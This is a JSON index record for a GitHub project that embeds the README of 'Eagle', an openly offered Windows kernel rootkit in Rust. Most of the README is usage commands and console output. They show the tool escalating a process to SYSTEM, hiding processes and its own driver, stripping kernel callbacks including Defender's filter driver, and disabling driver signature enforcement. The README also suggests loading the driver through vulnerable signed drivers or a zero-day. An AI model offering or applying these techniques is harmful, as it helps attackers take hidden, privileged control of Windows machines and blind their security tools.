{"id":13578986,"url":"https://github.com/memN0ps/eagle-rs","last_synced_at":"2025-04-05T20:32:49.009Z","repository":{"id":37913037,"uuid":"486024986","full_name":"memN0ps/eagle-rs","owner":"memN0ps","description":"Rusty Rootkit - Windows Kernel Rookit in Rust (Codename: Eagle)","archived":true,"fork":false,"pushed_at":"2023-06-05T02:30:55.000Z","size":461,"stargazers_count":546,"open_issues_count":0,"forks_count":69,"subscribers_count":13,"default_branch":"master","last_synced_at":"2025-04-01T23:52:47.280Z","etag":null,"topics":["kernel","ring0","rootkit","rust","windows"],"latest_commit_sha":null,"homepage":"https://memn0ps.github.io/rusty-windows-kernel-rootkit/","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/memN0ps.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2022-04-27T02:58:17.000Z","updated_at":"2025-03-25T13:29:00.000Z","dependencies_parsed_at":"2024-01-16T20:29:10.703Z","dependency_job_id":"7b825113-e3fa-4398-9bcc-444c62cf9833","html_url":"https://github.com/memN0ps/eagle-rs","commit_stats":null,"previous_names":["memn0ps/rootkit-rs","memn0ps/eagle-rs"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Feagle-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Feagle-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Feagle-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Feagle-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/memN0ps","download_url":"https://codeload.github.com/memN0ps/eagle-rs/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247399818,"owners_count":20932875,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kernel","ring0","rootkit","rust","windows"],"created_at":"2024-08-01T15:01:35.608Z","updated_at":"2025-04-05T20:32:48.572Z","avatar_url":"https://github.com/memN0ps.png","language":"Rust","funding_links":[],"categories":["Rust","Projects"],"sub_categories":[],"readme":"# Windows Kernel Rookit in Rust (Codename: Eagle)\n\nBlog: https://memn0ps.github.io/rusty-windows-kernel-rootkit/\n\n## Features (Development in progress)\n\n* Protect / unprotect process (Done)\n* Elevate to NT AUTHORITY\\\\SYSTEM and Enable all token privileges (Done)\n* Hide process (Done)\n* Hide driver (Done)\n* Enumerate loaded kernel modules (Done)\n* Enumerate / remove kernel callbacks\n  * PsSetCreateProcessNotifyRoutine (Done)\n  * PsSetCreateThreadNotifyRoutine (Todo)\n  * PsSetLoadImageNotifyRoutine (Todo)\n  * CmRegisterCallbackEx (Todo)\n  * ObRegisterCallbacks (Todo)\n* DSE enable/disable (Done)\n\n## Usage\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe -h\nclient 0.1.0\n\nUSAGE:\n    client.exe \u003cSUBCOMMAND\u003e\n\nOPTIONS:\n    -h, --help       Print help information\n    -V, --version    Print version information\n\nSUBCOMMANDS:\n    callbacks\n    driver\n    dse\n    help         Print this message or the help of the given subcommand(s)\n    process\n```\n\n```\nclient.exe-process\n\nUSAGE:\n    client.exe process --name \u003cPROCESS\u003e \u003c--protect|--unprotect|--elevate|--hide\u003e\n\nOPTIONS:\n    -e, --elevate           Elevate all token privileges\n    -h, --help              Print help information\n        --hide              Hide a process using Direct Kernel Object Manipulation (DKOM)\n    -n, --name \u003cPROCESS\u003e    Target process name\n    -p, --protect           Protect a process\n    -u, --unprotect         Unprotect a process\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe callbacks -h\nclient.exe-callbacks\n\nUSAGE:\n    client.exe callbacks \u003c--enumerate|--patch \u003cPATCH\u003e\u003e\n\nOPTIONS:\n    -e, --enumerate        Enumerate kernel callbacks\n    -h, --help             Print help information\n    -p, --patch \u003cPATCH\u003e    Patch kernel callbacks 0-63\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe dse -h\nclient.exe-dse\n\nUSAGE:\n    client.exe dse \u003c--enable|--disable\u003e\n\nOPTIONS:\n    -d, --disable    Disable Driver Signature Enforcement (DSE)\n    -e, --enable     Enable Driver Signature Enforcement (DSE)\n    -h, --help       Print help information\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe driver -h\nclient.exe-driver\n\nUSAGE:\n    client.exe driver \u003c--hide|--enumerate\u003e\n\nOPTIONS:\n    -e, --enumerate    Enumerate loaded kernel modules\n    -h, --help         Print help information\n        --hide         Hide a driver using Direct Kernel Object Manipulation (DKOM)\n```\n\n## Enumerate and Patch Kernel Callbacks\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe callbacks --enumerate\nTotal Kernel Callbacks: 11\n[0] 0xffffbd8d3d2502df (\"ntoskrnl.exe\")\n[1] 0xffffbd8d3d2fe81f (\"cng.sys\")\n[2] 0xffffbd8d3db2bc8f (\"WdFilter.sys\")\n[3] 0xffffbd8d3db2bf8f (\"ksecdd.sys\")\n[4] 0xffffbd8d3db2c0df (\"tcpip.sys\")\n[5] 0xffffbd8d3f10705f (\"iorate.sys\")\n[6] 0xffffbd8d3f10765f (\"CI.dll\")\n[7] 0xffffbd8d3f10789f (\"dxgkrnl.sys\")\n[8] 0xffffbd8d3fa37cff (\"vm3dmp.sys\")\n[9] 0xffffbd8d3f97104f (\"peauth.sys\")\n[10] 0xffffbd8d43afb63f (\"Eagle.sys\")\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe callbacks --patch 10\n[+] Callback patched successfully at index 10\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe callbacks --enumerate\nTotal Kernel Callbacks: 10\n[0] 0xffffbd8d3d2502df (\"ntoskrnl.exe\")\n[1] 0xffffbd8d3d2fe81f (\"cng.sys\")\n[2] 0xffffbd8d3db2bc8f (\"WdFilter.sys\")\n[3] 0xffffbd8d3db2bf8f (\"ksecdd.sys\")\n[4] 0xffffbd8d3db2c0df (\"tcpip.sys\")\n[5] 0xffffbd8d3f10705f (\"iorate.sys\")\n[6] 0xffffbd8d3f10765f (\"CI.dll\")\n[7] 0xffffbd8d3f10789f (\"dxgkrnl.sys\")\n[8] 0xffffbd8d3fa37cff (\"vm3dmp.sys\")\n[9] 0xffffbd8d3f97104f (\"peauth.sys\")\n```\n\n## Protect / Unprotect Process\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe process --name notepad.exe --protect\n[+] Process protected successfully 2104\n```\n\n![Protect](./notepad_protect.png)\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe process --name notepad.exe --unprotect\n[+] Process unprotected successfully 2104\n```\n\n![Protect](./notepad_unprotect.png)\n\n## Elevate to NT AUTHORITY\\\\System and Enable All Token Privileges\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e whoami /all\n\nUSER INFORMATION\n\n================== ==============================================\nwindows-10-vm\\user S-1-5-21-3694103140-4081734440-3706941413-1001\n\n\nGROUP INFORMATION\n-----------------\n\nGroup Name                                                    Type             SID          Attributes\n============================================================= ================ ============ ==================================================\nEveryone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\Local account and member of Administrators group Well-known group S-1-5-114    Group used for deny only\nBUILTIN\\Administrators                                        Alias            S-1-5-32-544 Group used for deny only\nBUILTIN\\Performance Log Users                                 Alias            S-1-5-32-559 Mandatory group, Enabled by default, Enabled group\nBUILTIN\\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group\nCONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group\nLOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group\nMandatory Label\\Medium Mandatory Level                        Label            S-1-16-8192\n\n\nPRIVILEGES INFORMATION\n----------------------\n\nPrivilege Name                Description                          State\n============================= ==================================== ========\nSeShutdownPrivilege           Shut down the system                 Disabled\nSeChangeNotifyPrivilege       Bypass traverse checking             Enabled\nSeUndockPrivilege             Remove computer from docking station Disabled\nSeIncreaseWorkingSetPrivilege Increase a process working set       Disabled\nSeTimeZonePrivilege           Change the time zone                 Disabled\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe process --name powershell.exe --elevate\n[+] Tokens privileges elevated successfully 6376\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e whoami /all\n\nUSER INFORMATION\n----------------\n\nUser Name           SID\n=================== ========\nnt authority\\system S-1-5-18\n\n\nGROUP INFORMATION\n-----------------\n\nGroup Name                             Type             SID          Attributes\n====================================== ================ ============ ==================================================\nBUILTIN\\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner\nEveryone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group\nMandatory Label\\System Mandatory Level Label            S-1-16-16384\n\n\nPRIVILEGES INFORMATION\n----------------------\n\nPrivilege Name                            Description                                                        State\n========================================= ================================================================== =======\nSeCreateTokenPrivilege                    Create a token object                                              Enabled\nSeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled\nSeLockMemoryPrivilege                     Lock pages in memory                                               Enabled\nSeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled\nSeTcbPrivilege                            Act as part of the operating system                                Enabled\nSeSecurityPrivilege                       Manage auditing and security log                                   Enabled\nSeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled\nSeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled\nSeSystemProfilePrivilege                  Profile system performance                                         Enabled\nSeSystemtimePrivilege                     Change the system time                                             Enabled\nSeProfileSingleProcessPrivilege           Profile single process                                             Enabled\nSeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled\nSeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled\nSeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled\nSeBackupPrivilege                         Back up files and directories                                      Enabled\nSeRestorePrivilege                        Restore files and directories                                      Enabled\nSeShutdownPrivilege                       Shut down the system                                               Enabled\nSeDebugPrivilege                          Debug programs                                                     Enabled\nSeAuditPrivilege                          Generate security audits                                           Enabled\nSeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled\nSeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled\nSeUndockPrivilege                         Remove computer from docking station                               Enabled\nSeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled\nSeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled\nSeCreateGlobalPrivilege                   Create global objects                                              Enabled\nSeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled\nSeRelabelPrivilege                        Modify an object label                                             Enabled\nSeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled\nSeTimeZonePrivilege                       Change the time zone                                               Enabled\nSeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled\nSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled\n\nPS C:\\Users\\memn0ps\\Desktop\u003e\n```\n\n\n\n## Enable / Disable Driver Signature Enforcement (DSE)\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe dse --enable\nBytes returned: 16\n[+] Driver Signature Enforcement (DSE) enabled: 0x6\n```\n```\n0: kd\u003e db 0xfffff8005a6683b8 L1\nfffff800`5a6683b8  06 \n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe dse --disable\nBytes returned: 16\n[+] Driver Signature Enforcement (DSE) disabled: 0xe\n```\n\n```\n0: kd\u003e db 0xfffff8005a6683b8 L1\nfffff800`5a6683b8  0e\n```\n\n## Hide Process\n\n![CMD](./cmd_hide1.png)\n\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe process --name powershell.exe --hide\n[+] Process is hidden successfully: 6376\n```\n\n![CMD](./cmd_hide2.png)\n\n\n## Hide Driver\n\nHidden from ZwQuerySystemInformation and PsLoadedModuleList\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe driver --enumerate\nTotal Number of Modules: 185\n[0] 0xfffff80058c00000 \"ntoskrnl.exe\"\n[1] 0xfffff80054d20000 \"hal.dll\"\n\u003c..OMITTED..\u003e\n[180] 0xfffff80054600000 \"KERNEL32.dll\"\n[181] 0xfffff80054200000 \"ntdll.dll\"\n[182] 0xfffff800553f0000 \"KERNELBASE.dll\"\n[183] 0xfffff800556f0000 \"MpKslDrv.sys\"\n[184] 0xfffff80055720000 \"Eagle.sys\"\n[+] Loaded modules enumerated successfully\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe driver --hide\n[+] Driver hidden successfully\n```\n\n```\nPS C:\\Users\\memn0ps\\Desktop\u003e .\\client.exe driver --enumerate\nTotal Number of Modules: 184\n[0] 0xfffff80058c00000 \"ntoskrnl.exe\"\n[1] 0xfffff80054d20000 \"hal.dll\"\n\u003c..OMITTED..\u003e\n[180] 0xfffff80054600000 \"KERNEL32.dll\"\n[181] 0xfffff80054200000 \"ntdll.dll\"\n[182] 0xfffff800553f0000 \"KERNELBASE.dll\"\n[183] 0xfffff800556f0000 \"MpKslDrv.sys\"\n[+] Loaded modules enumerated successfully\n```\n\n\n## [Install Rust](https://www.rust-lang.org/tools/install)\n\nTo start using Rust, [download the installer](https://www.rust-lang.org/tools/install), then run the program and follow the onscreen instructions. You may need to install the [Visual Studio C++ Build tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/) when prompted to do so.\n\n\n## [Install](https://rust-lang.github.io/rustup/concepts/channels.html)\n\nInstall and change to Rust nightly\n\n```\nrustup toolchain install nightly\nrustup default nightly\n```\n\n## [Install cargo-make](https://github.com/sagiegurari/cargo-make)\n\nInstall cargo-make\n\n```\ncargo install cargo-make\n```\n\n## [Install WDK/SDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk)\n\n* Step 1: Install Visual Studio 2019\n* Step 2: Install Windows 11 SDK (22000.1)\n* Step 3: Install Windows 11 WDK\n\n## Build Driver\n\nChange directory to `.\\driver\\` and build driver\n\n```\ncargo make sign\n```\n\n## Build Client\n\nChange directory to `.\\client\\` and build client\n\n```\ncargo build\n```\n\n## Enable `Test Mode` or `Test Signing` Mode \n\n```\nbcdedit /set testsigning on\n```\n\n### [Optional] Debug via Windbg\n\n```\nbcdedit /debug on\nbcdedit /dbgsettings net hostip:\u003cIP\u003e port:\u003cPORT\u003e\n```\n\n## Create / Start Service\n\nYou can use [Service Control Manager](https://docs.microsoft.com/en-us/windows/win32/services/service-control-manager) or [OSR Driver Loader](https://www.osronline.com/article.cfm%5Earticle=157.htm) to load your driver.\n\n```\nPS C:\\Users\\memn0ps\u003e sc.exe create Eagle type= kernel binPath= C:\\Windows\\System32\\Eagle.sys\n[SC] CreateService SUCCESS\nPS C:\\Users\\memn0ps\u003e sc.exe query Eagle\n\nSERVICE_NAME: Eagle\n        TYPE               : 1  KERNEL_DRIVER\n        STATE              : 1  STOPPED\n        WIN32_EXIT_CODE    : 1077  (0x435)\n        SERVICE_EXIT_CODE  : 0  (0x0)\n        CHECKPOINT         : 0x0\n        WAIT_HINT          : 0x0\nPS C:\\Users\\memn0ps\u003e sc.exe start Eagle\n\nSERVICE_NAME: Eagle\n        TYPE               : 1  KERNEL_DRIVER\n        STATE              : 4  RUNNING\n                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)\n        WIN32_EXIT_CODE    : 0  (0x0)\n        SERVICE_EXIT_CODE  : 0  (0x0)\n        CHECKPOINT         : 0x0\n        WAIT_HINT          : 0x0\n        PID                : 0\n        FLAGS              :\nPS C:\\Users\\memn0ps\u003e sc.exe stop Eagle\n\nSERVICE_NAME: Eagle\n        TYPE               : 1  KERNEL_DRIVER\n        STATE              : 1  STOPPED\n        WIN32_EXIT_CODE    : 0  (0x0)\n        SERVICE_EXIT_CODE  : 0  (0x0)\n        CHECKPOINT         : 0x0\n        WAIT_HINT          : 0x0\n```\n\nCurrently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver that is already loaded such as Intel or Capcom, although vulnerable drivers can be flagged easily by EDRs or ACs.\n\n* https://github.com/TheCruZ/kdmapper (`iqvw64e.sys` Intel driver)\n* https://github.com/not-wlan/drvmap (`capcom.sys` Capcom driver)\n* https://github.com/zorftw/kdmapper-rs\n\nOtherwise you can always get an [extended validation (EV) code signing certificate](https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate) by Microsoft which goes through a \"vetting\" process or use a 0-day which is really up to you lol.\n\n## Note\n\nA better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else's bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete.\n\nI made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The prefered safe and robust way of coding Windows Kernel Drivers in Rust is shown here:\n\n* https://codentium.com/guides/windows-dev/\n* https://github.com/StephanvanSchaik/windows-kernel-rs/ \n\n## References and Credits\n\n* https://not-matthias.github.io/kernel-driver-with-rust/ (Big thanks to @not_matthias)\n* https://github.com/not-matthias/kernel-driver-with-rust/\n* https://courses.zeropointsecurity.co.uk/courses/offensive-driver-development (Big thanks to @_RastaMouse)\n* https://leanpub.com/windowskernelprogramming Windows Kernel Programming Book (Big thanks to Pavel Yosifovich @zodiacon)\n* https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 (Big thanks to Greg Hoglund and James Butler for Rootkits: Subverting the Windows Kernel Book)\n* https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/ (Big thanks to HackSysTeam)\n* https://codentium.com/guides/windows-dev/\n* https://github.com/StephanvanSchaik/windows-kernel-rs/\n* https://github.com/rmccrystal/kernel-rs\n* https://github.com/pravic/winapi-kmd-rs\n* https://guidedhacking.com/\n* https://www.unknowncheats.me/\n* https://gamehacking.academy/\n* https://secret.club/\n* https://back.engineering/\n* https://www.vergiliusproject.com/kernels/x64\n* https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/\n* https://discord.com/invite/rust-lang-community (Big thanks to: WithinRafael, Nick12, Zuix, DuckThatSits, matt1992, kpreid, Bruh and many others)\n* https://twitter.com/the_secret_club/status/1386215138148196353 Discord (hugsy, themagicalgamer)\n* https://www.rust-lang.org/\n* https://doc.rust-lang.org/book/\n* https://posts.specterops.io/mimidrv-in-depth-4d273d19e148\n* https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/\n* https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/\n* https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo\n* https://github.com/XaFF-XaFF/Cronos-Rootkit/\n* https://github.com/JKornev/hidden\n* https://github.com/landhb/HideProcess\n* https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland\n* https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmemN0ps%2Feagle-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FmemN0ps%2Feagle-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmemN0ps%2Feagle-rs/lists"}